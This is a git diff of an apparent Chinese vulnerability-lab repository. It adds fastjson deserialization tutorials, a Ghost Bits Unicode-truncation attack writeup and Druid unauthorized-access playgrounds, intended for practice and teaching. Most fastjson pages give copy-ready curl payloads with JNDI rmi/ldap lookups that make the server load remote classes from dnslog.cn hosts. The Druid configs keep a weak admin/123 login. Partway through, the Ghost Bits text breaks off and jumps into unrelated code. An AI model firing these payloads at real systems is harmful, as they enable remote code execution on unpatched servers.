方式一:通过首页测试 + +1. 打开 `http://宿主机IP:5000/`。 +2. 在搜索框输入 `fastjson.1.2.59、fastjson_1_2_59、fastjson1_2_59_attack_1、fastjson1_2_59_attack_2` 过滤到当前项目。 +3. 先点“测试”发送内置模板。 +4. 推荐先跑 `fastjson1_2_59_attack_1`,再按需用“重放数据包”替换 payload。 +5. 再跑 `fastjson1_2_59_normal` 做正常流量或修复版对照。 + +推荐直接使用的首页条目: +- `fastjson1_2_59_attack_1`:POST http://宿主机IP:9983/fastjson1.2.59-process +- `fastjson1_2_59_attack_2`:POST http://宿主机IP:9983/fastjson1.2.59-process +- `fastjson1_2_59_normal`:POST http://宿主机IP:9983/fastjson1.2.59-process + +## 方式二:直接访问接口测试 + +1. 先访问推荐入口:`http://宿主机IP:9983/fastjson-1.2.59`。 +2. 先执行攻击面请求:`fastjson1_2_59_attack_1`。 +3. 可直接复制命令:`curl -X POST "http://宿主机IP:9983/fastjson1.2.59-process" -H "Content-Type: application/json" -d "{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"rmi://fastjson1.2.59-process.dnslog.cn/Exploit\"}"`。 +4. 再执行对照请求:`fastjson1_2_59_normal`。 +5. 对照命令:`curl -X POST "http://宿主机IP:9983/fastjson1.2.59-process" -H "Content-Type: application/json" -d "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"`。 + +## 测试时重点看什么 + +1. 看接口是否返回成功,以及响应内容是否和正常请求不同。 +2. 结合容器日志判断是否进入了目标解析、反序列化或模板处理逻辑。 +3. 如果你接了 DNSLog、LDAP 或 RMI 观察点,也可以顺手对照外带痕迹。 + +## 相关入口 + +- 总控台:`http://宿主机IP:5000/` +- 文档索引:[`doc/README.md`](../README.md) +- 根项目说明:[`README.md`](../../README.md) diff --git a/doc/projects/fastjson-1-2-60.md b/doc/projects/fastjson-1-2-60.md new file mode 100644 index 0000000..cdc8b4f --- /dev/null +++ b/doc/projects/fastjson-1-2-60.md @@ -0,0 +1,49 @@ +# fastjson-1.2.60 操作教程 + +- 类型:单体靶场 +- 目录:`fastjson-1.2.60` +- 端口:`9982` +- 推荐入口:`/fastjson-1.2.60` + +## 这是什么 + +fastjson 1.2.60 反序列化靶场 + +## 启动前准备 + +1. 在仓库根目录执行 `bash run-local-build.sh`。 +2. 等待对应容器启动完成,并确认端口 `9982` 已经监听。 +3. 如果你还想通过首页统一发包,再额外确认 `http://宿主机IP:5000/` 能打开。 + +## 方式一:通过首页测试 + +1. 打开 `http://宿主机IP:5000/`。 +2. 在搜索框输入 `fastjson.1.2.60、fastjson_1_2_60、fastjson1_2_60_attack_1、fastjson1_2_60_attack_2` 过滤到当前项目。 +3. 先点“测试”发送内置模板。 +4. 推荐先跑 `fastjson1_2_60_attack_1`,再按需用“重放数据包”替换 payload。 +5. 再跑 `fastjson1_2_60_normal` 做正常流量或修复版对照。 + +推荐直接使用的首页条目: +- `fastjson1_2_60_attack_1`:POST http://宿主机IP:9982/fastjson1.2.60-process +- `fastjson1_2_60_attack_2`:POST http://宿主机IP:9982/fastjson1.2.60-process +- `fastjson1_2_60_normal`:POST http://宿主机IP:9982/fastjson1.2.60-process + +## 方式二:直接访问接口测试 + +1. 先访问推荐入口:`http://宿主机IP:9982/fastjson-1.2.60`。 +2. 先执行攻击面请求:`fastjson1_2_60_attack_1`。 +3. 可直接复制命令:`curl -X POST "http://宿主机IP:9982/fastjson1.2.60-process" -H "Content-Type: application/json" -d "{\"@type\":\"oracle.jdbc.connector.OracleManagedConnectionFactory\",\"xaDataSourceName\":\"rmi://fastjson1.2.60-process.dnslog.cn/ExportObject\"}"`。 +4. 再执行对照请求:`fastjson1_2_60_normal`。 +5. 对照命令:`curl -X POST "http://宿主机IP:9982/fastjson1.2.60-process" -H "Content-Type: application/json" -d "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"`。 + +## 测试时重点看什么 + +1. 看接口是否返回成功,以及响应内容是否和正常请求不同。 +2. 结合容器日志判断是否进入了目标解析、反序列化或模板处理逻辑。 +3. 如果你接了 DNSLog、LDAP 或 RMI 观察点,也可以顺手对照外带痕迹。 + +## 相关入口 + +- 总控台:`http://宿主机IP:5000/` +- 文档索引:[`doc/README.md`](../README.md) +- 根项目说明:[`README.md`](../../README.md) diff --git a/doc/projects/fastjson-1-2-61.md b/doc/projects/fastjson-1-2-61.md new file mode 100644 index 0000000..83314d4 --- /dev/null +++ b/doc/projects/fastjson-1-2-61.md @@ -0,0 +1,49 @@ +# fastjson-1.2.61 操作教程 + +- 类型:单体靶场 +- 目录:`fastjson-1.2.61` +- 端口:`9981` +- 推荐入口:`/fastjson-1.2.61` + +## 这是什么 + +fastjson 1.2.61 反序列化靶场 + +## 启动前准备 + +1. 在仓库根目录执行 `bash run-local-build.sh`。 +2. 等待对应容器启动完成,并确认端口 `9981` 已经监听。 +3. 如果你还想通过首页统一发包,再额外确认 `http://宿主机IP:5000/` 能打开。 + +## 方式一:通过首页测试 + +1. 打开 `http://宿主机IP:5000/`。 +2. 在搜索框输入 `fastjson.1.2.61、fastjson_1_2_61、fastjson1_2_61_attack_1、fastjson1_2_61_attack_2` 过滤到当前项目。 +3. 先点“测试”发送内置模板。 +4. 推荐先跑 `fastjson1_2_61_attack_1`,再按需用“重放数据包”替换 payload。 +5. 再跑 `fastjson1_2_61_normal` 做正常流量或修复版对照。 + +推荐直接使用的首页条目: +- `fastjson1_2_61_attack_1`:POST http://宿主机IP:9981/fastjson1.2.61-process +- `fastjson1_2_61_attack_2`:POST http://宿主机IP:9981/fastjson1.2.61-process +- `fastjson1_2_61_normal`:POST http://宿主机IP:9981/fastjson1.2.61-process + +## 方式二:直接访问接口测试 + +1. 先访问推荐入口:`http://宿主机IP:9981/fastjson-1.2.61`。 +2. 先执行攻击面请求:`fastjson1_2_61_attack_1`。 +3. 可直接复制命令:`curl -X POST "http://宿主机IP:9981/fastjson1.2.61-process" -H "Content-Type: application/json" -d "{\"@type\":\"org.apache.commons.proxy.provider.remoting.SessionBeanProvider\",\"jndiName\":\"rmi://fastjson1.2.61-process.dnslog.cn/Exploit\"}"`。 +4. 再执行对照请求:`fastjson1_2_61_normal`。 +5. 对照命令:`curl -X POST "http://宿主机IP:9981/fastjson1.2.61-process" -H "Content-Type: application/json" -d "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"`。 + +## 测试时重点看什么 + +1. 看接口是否返回成功,以及响应内容是否和正常请求不同。 +2. 结合容器日志判断是否进入了目标解析、反序列化或模板处理逻辑。 +3. 如果你接了 DNSLog、LDAP 或 RMI 观察点,也可以顺手对照外带痕迹。 + +## 相关入口 + +- 总控台:`http://宿主机IP:5000/` +- 文档索引:[`doc/README.md`](../README.md) +- 根项目说明:[`README.md`](../../README.md) diff --git a/doc/projects/fastjson-1-2-62.md b/doc/projects/fastjson-1-2-62.md new file mode 100644 index 0000000..aee3873 --- /dev/null +++ b/doc/projects/fastjson-1-2-62.md @@ -0,0 +1,49 @@ +# fastjson-1.2.62 操作教程 + +- 类型:单体靶场 +- 目录:`fastjson-1.2.62` +- 端口:`9980` +- 推荐入口:`/fastjson-1.2.62` + +## 这是什么 + +fastjson 1.2.62 反序列化靶场 + +## 启动前准备 + +1. 在仓库根目录执行 `bash run-local-build.sh`。 +2. 等待对应容器启动完成,并确认端口 `9980` 已经监听。 +3. 如果你还想通过首页统一发包,再额外确认 `http://宿主机IP:5000/` 能打开。 + +## 方式一:通过首页测试 + +1. 打开 `http://宿主机IP:5000/`。 +2. 在搜索框输入 `fastjson.1.2.62、fastjson_1_2_62、fastjson1_2_62_attack_1、fastjson1_2_62_attack_2` 过滤到当前项目。 +3. 先点“测试”发送内置模板。 +4. 推荐先跑 `fastjson1_2_62_attack_1`,再按需用“重放数据包”替换 payload。 +5. 再跑 `fastjson1_2_62_normal` 做正常流量或修复版对照。 + +推荐直接使用的首页条目: +- `fastjson1_2_62_attack_1`:POST http://宿主机IP:9980/fastjson1.2.62-process +- `fastjson1_2_62_attack_2`:POST http://宿主机IP:9980/fastjson1.2.62-process +- `fastjson1_2_62_normal`:POST http://宿主机IP:9980/fastjson1.2.62-process + +## 方式二:直接访问接口测试 + +1. 先访问推荐入口:`http://宿主机IP:9980/fastjson-1.2.62`。 +2. 先执行攻击面请求:`fastjson1_2_62_attack_1`。 +3. 可直接复制命令:`curl -X POST "http://宿主机IP:9980/fastjson1.2.62-process" -H "Content-Type: application/json" -d "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"ldap://fastjson1.2.62-process.dnslog.cn/Exploit\"}"`。 +4. 再执行对照请求:`fastjson1_2_62_normal`。 +5. 对照命令:`curl -X POST "http://宿主机IP:9980/fastjson1.2.62-process" -H "Content-Type: application/json" -d "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"`。 + +## 测试时重点看什么 + +1. 看接口是否返回成功,以及响应内容是否和正常请求不同。 +2. 结合容器日志判断是否进入了目标解析、反序列化或模板处理逻辑。 +3. 如果你接了 DNSLog、LDAP 或 RMI 观察点,也可以顺手对照外带痕迹。 + +## 相关入口 + +- 总控台:`http://宿主机IP:5000/` +- 文档索引:[`doc/README.md`](../README.md) +- 根项目说明:[`README.md`](../../README.md) diff --git a/doc/projects/fastjson-1-2-66.md b/doc/projects/fastjson-1-2-66.md new file mode 100644 index 0000000..6536fc0 --- /dev/null +++ b/doc/projects/fastjson-1-2-66.md @@ -0,0 +1,49 @@ +# fastjson-1.2.66 操作教程 + +- 类型:单体靶场 +- 目录:`fastjson-1.2.66` +- 端口:`9979` +- 推荐入口:`/fastjson-1.2.66` + +## 这是什么 + +fastjson 1.2.66 反序列化靶场 + +## 启动前准备 + +1. 在仓库根目录执行 `bash run-local-build.sh`。 +2. 等待对应容器启动完成,并确认端口 `9979` 已经监听。 +3. 如果你还想通过首页统一发包,再额外确认 `http://宿主机IP:5000/` 能打开。 + +## 方式一:通过首页测试 + +1. 打开 `http://宿主机IP:5000/`。 +2. 在搜索框输入 `fastjson.1.2.66、fastjson_1_2_66、fastjson1_2_66_attack_1、fastjson1_2_66_attack_2` 过滤到当前项目。 +3. 先点“测试”发送内置模板。 +4. 推荐先跑 `fastjson1_2_66_attack_1`,再按需用“重放数据包”替换 payload。 +5. 再跑 `fastjson1_2_66_normal` 做正常流量或修复版对照。 + +推荐直接使用的首页条目: +- `fastjson1_2_66_attack_1`:POST http://宿主机IP:9979/fastjson1.2.66-process +- `fastjson1_2_66_attack_2`:POST http://宿主机IP:9979/fastjson1.2.66-process +- `fastjson1_2_66_attack_3`:POST http://宿主机IP:9979/fastjson1.2.66-process + +## 方式二:直接访问接口测试 + +1. 先访问推荐入口:`http://宿主机IP:9979/fastjson-1.2.66`。 +2. 先执行攻击面请求:`fastjson1_2_66_attack_1`。 +3. 可直接复制命令:`curl -X POST "http://宿主机IP:9979/fastjson1.2.66-process" -H "Content-Type: application/json" -d "{\"@type\":\"com.caucho.config.types.ResourceRef\",\"LookupName\":\"rmi://fastjson1.2.66-process.dnslog.cn/Exploit\"}"`。 +4. 再执行对照请求:`fastjson1_2_66_normal`。 +5. 对照命令:`curl -X POST "http://宿主机IP:9979/fastjson1.2.66-process" -H "Content-Type: application/json" -d "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"`。 + +## 测试时重点看什么 + +1. 看接口是否返回成功,以及响应内容是否和正常请求不同。 +2. 结合容器日志判断是否进入了目标解析、反序列化或模板处理逻辑。 +3. 如果你接了 DNSLog、LDAP 或 RMI 观察点,也可以顺手对照外带痕迹。 + +## 相关入口 + +- 总控台:`http://宿主机IP:5000/` +- 文档索引:[`doc/README.md`](../README.md) +- 根项目说明:[`README.md`](../../README.md) diff --git a/doc/projects/fastjson-1-2-67.md b/doc/projects/fastjson-1-2-67.md new file mode 100644 index 0000000..be2b607 --- /dev/null +++ b/doc/projects/fastjson-1-2-67.md @@ -0,0 +1,49 @@ +# fastjson-1.2.67 操作教程 + +- 类型:单体靶场 +- 目录:`fastjson-1.2.67` +- 端口:`9978` +- 推荐入口:`/fastjson-1.2.67` + +## 这是什么 + +fastjson 1.2.67 反序列化靶场 + +## 启动前准备 + +1. 在仓库根目录执行 `bash run-local-build.sh`。 +2. 等待对应容器启动完成,并确认端口 `9978` 已经监听。 +3. 如果你还想通过首页统一发包,再额外确认 `http://宿主机IP:5000/` 能打开。 + +## 方式一:通过首页测试 + +1. 打开 `http://宿主机IP:5000/`。 +2. 在搜索框输入 `fastjson.1.2.67、fastjson_1_2_67、fastjson1_2_67_attack_1、fastjson1_2_67_attack_2` 过滤到当前项目。 +3. 先点“测试”发送内置模板。 +4. 推荐先跑 `fastjson1_2_67_attack_1`,再按需用“重放数据包”替换 payload。 +5. 再跑 `fastjson1_2_67_normal` 做正常流量或修复版对照。 + +推荐直接使用的首页条目: +- `fastjson1_2_67_attack_1`:POST http://宿主机IP:9978/fastjson1.2.67-process +- `fastjson1_2_67_attack_2`:POST http://宿主机IP:9978/fastjson1.2.67-process +- `fastjson1_2_67_normal`:POST http://宿主机IP:9978/fastjson1.2.67-process + +## 方式二:直接访问接口测试 + +1. 先访问推荐入口:`http://宿主机IP:9978/fastjson-1.2.67`。 +2. 先执行攻击面请求:`fastjson1_2_67_attack_1`。 +3. 可直接复制命令:`curl -X POST "http://宿主机IP:9978/fastjson1.2.67-process" -H "Content-Type: application/json" -d "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\", \"jndiNames\":[\"ldap://fastjson1.2.67-process.dnslog.cn/Exploit\"], \"tm\": {\"$ref\":\"$.tm\"}}"`。 +4. 再执行对照请求:`fastjson1_2_67_normal`。 +5. 对照命令:`curl -X POST "http://宿主机IP:9978/fastjson1.2.67-process" -H "Content-Type: application/json" -d "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"`。 + +## 测试时重点看什么 + +1. 看接口是否返回成功,以及响应内容是否和正常请求不同。 +2. 结合容器日志判断是否进入了目标解析、反序列化或模板处理逻辑。 +3. 如果你接了 DNSLog、LDAP 或 RMI 观察点,也可以顺手对照外带痕迹。 + +## 相关入口 + +- 总控台:`http://宿主机IP:5000/` +- 文档索引:[`doc/README.md`](../README.md) +- 根项目说明:[`README.md`](../../README.md) diff --git a/doc/projects/fastjson-1-2-68.md b/doc/projects/fastjson-1-2-68.md new file mode 100644 index 0000000..e95cf13 --- /dev/null +++ b/doc/projects/fastjson-1-2-68.md @@ -0,0 +1,49 @@ +# fastjson-1.2.68 操作教程 + +- 类型:单体靶场 +- 目录:`fastjson-1.2.68` +- 端口:`9977` +- 推荐入口:`/fastjson-1.2.68` + +## 这是什么 + +fastjson 1.2.68 反序列化靶场 + +## 启动前准备 + +1. 在仓库根目录执行 `bash run-local-build.sh`。 +2. 等待对应容器启动完成,并确认端口 `9977` 已经监听。 +3. 如果你还想通过首页统一发包,再额外确认 `http://宿主机IP:5000/` 能打开。 + +## 方式一:通过首页测试 + +1. 打开 `http://宿主机IP:5000/`。 +2. 在搜索框输入 `fastjson.1.2.68、fastjson_1_2_68、fastjson1_2_68_attack_1、fastjson1_2_68_attack_2` 过滤到当前项目。 +3. 先点“测试”发送内置模板。 +4. 推荐先跑 `fastjson1_2_68_attack_1`,再按需用“重放数据包”替换 payload。 +5. 再跑 `fastjson1_2_68_normal` 做正常流量或修复版对照。 + +推荐直接使用的首页条目: +- `fastjson1_2_68_attack_1`:POST http://宿主机IP:9977/fastjson1.2.68-process +- `fastjson1_2_68_attack_2`:POST http://宿主机IP:9977/fastjson1.2.68-process +- `fastjson1_2_68_normal`:POST http://宿主机IP:9977/fastjson1.2.68-process + +## 方式二:直接访问接口测试 + +1. 先访问推荐入口:`http://宿主机IP:9977/fastjson-1.2.68`。 +2. 先执行攻击面请求:`fastjson1_2_68_attack_1`。 +3. 可直接复制命令:`curl -X POST "http://宿主机IP:9977/fastjson1.2.68-process" -H "Content-Type: application/json" -d "{\"@type\":\"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig\",\"healthCheckRegistry\":\"ldap://fastjson1.2.68-process.dnslog.cn/Calc\"}"`。 +4. 再执行对照请求:`fastjson1_2_68_normal`。 +5. 对照命令:`curl -X POST "http://宿主机IP:9977/fastjson1.2.68-process" -H "Content-Type: application/json" -d "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"`。 + +## 测试时重点看什么 + +1. 看接口是否返回成功,以及响应内容是否和正常请求不同。 +2. 结合容器日志判断是否进入了目标解析、反序列化或模板处理逻辑。 +3. 如果你接了 DNSLog、LDAP 或 RMI 观察点,也可以顺手对照外带痕迹。 + +## 相关入口 + +- 总控台:`http://宿主机IP:5000/` +- 文档索引:[`doc/README.md`](../README.md) +- 根项目说明:[`README.md`](../../README.md) diff --git a/doc/projects/fastjson-1-2-80.md b/doc/projects/fastjson-1-2-80.md new file mode 100644 index 0000000..52f3f6d --- /dev/null +++ b/doc/projects/fastjson-1-2-80.md @@ -0,0 +1,48 @@ +# fastjson-1.2.80 操作教程 + +- 类型:单体靶场 +- 目录:`fastjson-1.2.80` +- 端口:`9976` +- 推荐入口:`/fastjson-1.2.80` + +## 这是什么 + +fastjson 1.2.80 反序列化靶场 + +## 启动前准备 + +1. 在仓库根目录执行 `bash run-local-build.sh`。 +2. 等待对应容器启动完成,并确认端口 `9976` 已经监听。 +3. 如果你还想通过首页统一发包,再额外确认 `http://宿主机IP:5000/` 能打开。 + +## 方式一:通过首页测试 + +1. 打开 `http://宿主机IP:5000/`。 +2. 在搜索框输入 `fastjson.1.2.80、fastjson_1_2_80、fastjson1_2_80_attack、fastjson1_2_80_normal` 过滤到当前项目。 +3. 先点“测试”发送内置模板。 +4. 推荐先跑 `fastjson1_2_80_attack`,再按需用“重放数据包”替换 payload。 +5. 再跑 `fastjson1_2_80_normal` 做正常流量或修复版对照。 + +推荐直接使用的首页条目: +- `fastjson1_2_80_attack`:POST http://宿主机IP:9976/fastjson1.2.80-process +- `fastjson1_2_80_normal`:POST http://宿主机IP:9976/fastjson1.2.80-process + +## 方式二:直接访问接口测试 + +1. 先访问推荐入口:`http://宿主机IP:9976/fastjson-1.2.80`。 +2. 先执行攻击面请求:`fastjson1_2_80_attack`。 +3. 可直接复制命令:`curl -X POST "http://宿主机IP:9976/fastjson1.2.80-process" -H "Content-Type: application/json" -d "{\"@type\": \"java.lang.Exception\",\"@type\": \"myapp.Poc\",\"name\": \"ping fastjson1.2.80-process.dnslog.cn\"}"`。 +4. 再执行对照请求:`fastjson1_2_80_normal`。 +5. 对照命令:`curl -X POST "http://宿主机IP:9976/fastjson1.2.80-process" -H "Content-Type: application/json" -d "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"`。 + +## 测试时重点看什么 + +1. 看接口是否返回成功,以及响应内容是否和正常请求不同。 +2. 结合容器日志判断是否进入了目标解析、反序列化或模板处理逻辑。 +3. 如果你接了 DNSLog、LDAP 或 RMI 观察点,也可以顺手对照外带痕迹。 + +## 相关入口 + +- 总控台:`http://宿主机IP:5000/` +- 文档索引:[`doc/README.md`](../README.md) +- 根项目说明:[`README.md`](../../README.md) diff --git a/doc/projects/fastjson-1-2-83.md b/doc/projects/fastjson-1-2-83.md new file mode 100644 index 0000000..ba250cc --- /dev/null +++ b/doc/projects/fastjson-1-2-83.md @@ -0,0 +1,47 @@ +# fastjson-1.2.83 操作教程 + +- 类型:单体靶场 +- 目录:`fastjson-1.2.83` +- 端口:`9975` +- 推荐入口:`/fastjson-1.2.83` + +## 这是什么 + +fastjson 1.2.83 基线靶场 + +## 启动前准备 + +1. 在仓库根目录执行 `bash run-local-build.sh`。 +2. 等待对应容器启动完成,并确认端口 `9975` 已经监听。 +3. 如果你还想通过首页统一发包,再额外确认 `http://宿主机IP:5000/` 能打开。 + +## 方式一:通过首页测试 + +1. 打开 `http://宿主机IP:5000/`。 +2. 在搜索框输入 `fastjson.1.2.83、fastjson_1_2_83、fastjson1_2_83_normal` 过滤到当前项目。 +3. 先点“测试”发送内置模板。 +4. 推荐先跑 `fastjson1_2_83_normal`,再按需用“重放数据包”替换 payload。 +5. 再跑 `fastjson1_2_83_normal` 做正常流量或修复版对照。 + +推荐直接使用的首页条目: +- `fastjson1_2_83_normal`:POST http://宿主机IP:9975/fastjson1.2.83-process + +## 方式二:直接访问接口测试 + +1. 先访问推荐入口:`http://宿主机IP:9975/fastjson-1.2.83`。 +2. 先执行攻击面请求:`fastjson1_2_83_normal`。 +3. 可直接复制命令:`curl -X POST "http://宿主机IP:9975/fastjson1.2.83-process" -H "Content-Type: application/json" -d "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"`。 +4. 再执行对照请求:`fastjson1_2_83_normal`。 +5. 对照命令:`curl -X POST "http://宿主机IP:9975/fastjson1.2.83-process" -H "Content-Type: application/json" -d "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"`。 + +## 测试时重点看什么 + +1. 看接口是否返回成功,以及响应内容是否和正常请求不同。 +2. 结合容器日志判断是否进入了目标解析、反序列化或模板处理逻辑。 +3. 如果你接了 DNSLog、LDAP 或 RMI 观察点,也可以顺手对照外带痕迹。 + +## 相关入口 + +- 总控台:`http://宿主机IP:5000/` +- 文档索引:[`doc/README.md`](../README.md) +- 根项目说明:[`README.md`](../../README.md) diff --git a/doc/projects/ghost-bits.md b/doc/projects/ghost-bits.md new file mode 100644 index 0000000..226ccb8 --- /dev/null +++ b/doc/projects/ghost-bits.md @@ -0,0 +1,92 @@ +# ghost-bits 操作教程 + +- 类型:单体靶场 +- 目录:`ghost-bits` +- 端口:`9943` +- 推荐入口:`/ghost-bits` + +## 这是什么 + +Ghost Bits / Cast Attack 综合演示靶场,核心是复现“安全检查看到的 Unicode 字符串”和“底层错误按低 8 位写出的字节”之间的语义差异。 + +## 漏洞描述 + +Java 是企业级应用里最常见的语言之一,Spring、Tomcat、Jackson、Fastjson 等框架与组件被大量业务系统长期依赖。Ghost Bits / Cast Attack 这一类问题的核心,不是某一个单独组件的普通逻辑漏洞,而是 Java 生态里长期存在的一类“字符视图”和“字节视图”不一致的系统性风险。 + +攻击者可以把原本明显带有攻击语义的 ASCII 载荷,替换成低 8 位一致、高 8 位不同的 Unicode 字符。这样一来,WAF、黑名单、人工审计和业务校验在检查阶段看到的是一串看似无意义的 Unicode;而到了后端某些错误的 `char -> byte` 转换、宽松解码或二次解析逻辑里,这些字符又会被还原成真实的危险字节,最终进入路径、协议、JSON、SQL、HTML、SMTP、Header 等安全敏感边界。 + +这类问题的危险性在于:检查时看到的是 A,执行时用到的是 B。只要应用在“安全校验之后”还会继续发生 low-byte 截断、宽松 URL/Hex 解码、二次 `%u` 解析或类似的宽容处理,就可能让原本被隐藏的攻击语义重新出现,形成 WAF 绕过、文件上传绕过、目录穿越、任意文件读取、CRLF 注入、Fastjson 关键字绕过、SQL 注入和 XSS 等高风险利用链。 + +## 缺陷成因 + +Ghost Bits 的根因可以概括成一句话:Java 的 `char` 是 16 位,而很多老式或不安全的处理路径只把它当作 8 位来写出。 + +典型危险写法包括: + +- `(byte) ch` +- `ch & 0xff` +- `OutputStream.write(ch)` +- `ByteArrayOutputStream.write(ch)` +- `DataOutputStream.writeBytes(...)` + +当这些代码把 `char` 强制转成 `byte` 时,高 8 位会被静默丢弃,只保留低 8 位。攻击者只要选取“低 8 位等于目标危险字符”的 Unicode,就能把: + +- 看起来不是 `.jsp` 的文件名,落地成 `.jsp` +- 看起来不是 `../` 的路径,解码后变成目录穿越 +- 看起来不是 `\r\n` 的文本,写出后变成协议换行 +- 看起来不含 `@type`、`union select`、`"; + } + + private String style() { + return ""; + } +} diff --git a/druid_authorized/src/main/resources/application.properties b/druid_authorized/src/main/resources/application.properties index 75f3399..c45d023 100644 --- a/druid_authorized/src/main/resources/application.properties +++ b/druid_authorized/src/main/resources/application.properties @@ -1,16 +1,9 @@ -# ݿ +spring.datasource.driver-class-name=org.sqlite.JDBC spring.datasource.type=com.alibaba.druid.pool.DruidDataSource -spring.datasource.url=jdbc:mysql://mysql:3306/sec?serverTimezone=Asia/Shanghai -spring.datasource.username=sec -spring.datasource.password=123456 +spring.datasource.url=jdbc:sqlite:/tmp/druid_authorized.db +spring.sql.init.mode=always -# StatFilter spring.datasource.druid.web-stat-filter.enabled=true - -# õļҳ spring.datasource.druid.stat-view-servlet.enabled=true - -#õ¼û spring.datasource.druid.stat-view-servlet.login-username=admin -#õ¼ -spring.datasource.druid.stat-view-servlet.login-password=123 \ No newline at end of file +spring.datasource.druid.stat-view-servlet.login-password=123 diff --git a/druid_authorized/src/main/resources/data.sql b/druid_authorized/src/main/resources/data.sql new file mode 100644 index 0000000..1315c90 --- /dev/null +++ b/druid_authorized/src/main/resources/data.sql @@ -0,0 +1,4 @@ +INSERT INTO users (id, name) VALUES (1, 'test'); +INSERT INTO users (id, name) VALUES (2, 'admin'); +INSERT INTO users (id, name) VALUES (3, '123'); +INSERT INTO users (id, name) VALUES (4, ''); diff --git a/druid_authorized/src/main/resources/schema.sql b/druid_authorized/src/main/resources/schema.sql new file mode 100644 index 0000000..a6080d2 --- /dev/null +++ b/druid_authorized/src/main/resources/schema.sql @@ -0,0 +1,6 @@ +DROP TABLE IF EXISTS users; + +CREATE TABLE users ( + id INTEGER PRIMARY KEY, + name TEXT +); diff --git a/druid_unauthorized/Dockerfile b/druid_unauthorized/Dockerfile index 2a1eaf4..8a4d7e3 100644 --- a/druid_unauthorized/Dockerfile +++ b/druid_unauthorized/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/druid/target/druid_unauthorized-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/druid_unauthorized/Dockerfile_local b/druid_unauthorized/Dockerfile_local index 0951999..a1c0c84 100644 --- a/druid_unauthorized/Dockerfile_local +++ b/druid_unauthorized/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/druid_unauthorized-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/druid_unauthorized/docker-compose.yaml b/druid_unauthorized/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/druid_unauthorized/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/druid_unauthorized/pom.xml b/druid_unauthorized/pom.xml index 3a73788..5356a93 100644 --- a/druid_unauthorized/pom.xml +++ b/druid_unauthorized/pom.xml @@ -33,8 +33,9 @@ - mysql - mysql-connector-java + org.xerial + sqlite-jdbc + 3.45.3.0 @@ -64,4 +65,4 @@ - \ No newline at end of file + diff --git a/druid_unauthorized/src/main/java/com/myapp/PlaygroundController.java b/druid_unauthorized/src/main/java/com/myapp/PlaygroundController.java new file mode 100644 index 0000000..600848d --- /dev/null +++ b/druid_unauthorized/src/main/java/com/myapp/PlaygroundController.java @@ -0,0 +1,26 @@ +package com.myapp; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class PlaygroundController { + + @GetMapping(value = {"/", "/playground"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return "druid_unauthorized Playground" + style() + + "

druid_unauthorized Playground

默认验证未授权访问 /druid,并保留 SQLWall 示例接口 /druid_sql?id=1

" + + "" + + "
" + + "
等待发送请求...
"; + } + + private String style() { + return ""; + } +} diff --git a/druid_unauthorized/src/main/resources/application.properties b/druid_unauthorized/src/main/resources/application.properties index 61c85fd..d70bde5 100644 --- a/druid_unauthorized/src/main/resources/application.properties +++ b/druid_unauthorized/src/main/resources/application.properties @@ -1,25 +1,12 @@ -# ݿ -spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver -spring.datasource.url=jdbc:mysql://mysql:3306/sec?characterEncoding=utf8&useSSL=true -spring.datasource.username=sec -spring.datasource.password=123456 +spring.datasource.driver-class-name=org.sqlite.JDBC +spring.datasource.url=jdbc:sqlite:/tmp/druid_unauthorized.db spring.datasource.type=com.alibaba.druid.pool.DruidDataSource +spring.sql.init.mode=always -# DruidWallFilter spring.datasource.druid.filters=wall - -# Druidض spring.datasource.druid.initial-size=5 spring.datasource.druid.min-idle=5 spring.datasource.druid.max-active=20 spring.datasource.druid.test-on-borrow=true -# StatFilter spring.datasource.druid.web-stat-filter.enabled=true -# õļҳ spring.datasource.druid.stat-view-servlet.enabled=true - -# WallFilterһЩѡ -# ֧֣ȱʡΪfalse -#spring.datasource.druid.filter.wall.merge-sql=true -# ִжSQLȱʡΪfalse -#spring.datasource.druid.filter.wall.multi-statement-allow=true diff --git a/druid_unauthorized/src/main/resources/data.sql b/druid_unauthorized/src/main/resources/data.sql new file mode 100644 index 0000000..1315c90 --- /dev/null +++ b/druid_unauthorized/src/main/resources/data.sql @@ -0,0 +1,4 @@ +INSERT INTO users (id, name) VALUES (1, 'test'); +INSERT INTO users (id, name) VALUES (2, 'admin'); +INSERT INTO users (id, name) VALUES (3, '123'); +INSERT INTO users (id, name) VALUES (4, ''); diff --git a/druid_unauthorized/src/main/resources/schema.sql b/druid_unauthorized/src/main/resources/schema.sql new file mode 100644 index 0000000..a6080d2 --- /dev/null +++ b/druid_unauthorized/src/main/resources/schema.sql @@ -0,0 +1,6 @@ +DROP TABLE IF EXISTS users; + +CREATE TABLE users ( + id INTEGER PRIMARY KEY, + name TEXT +); diff --git a/fastjson-1.2.24/Dockerfile b/fastjson-1.2.24/Dockerfile index 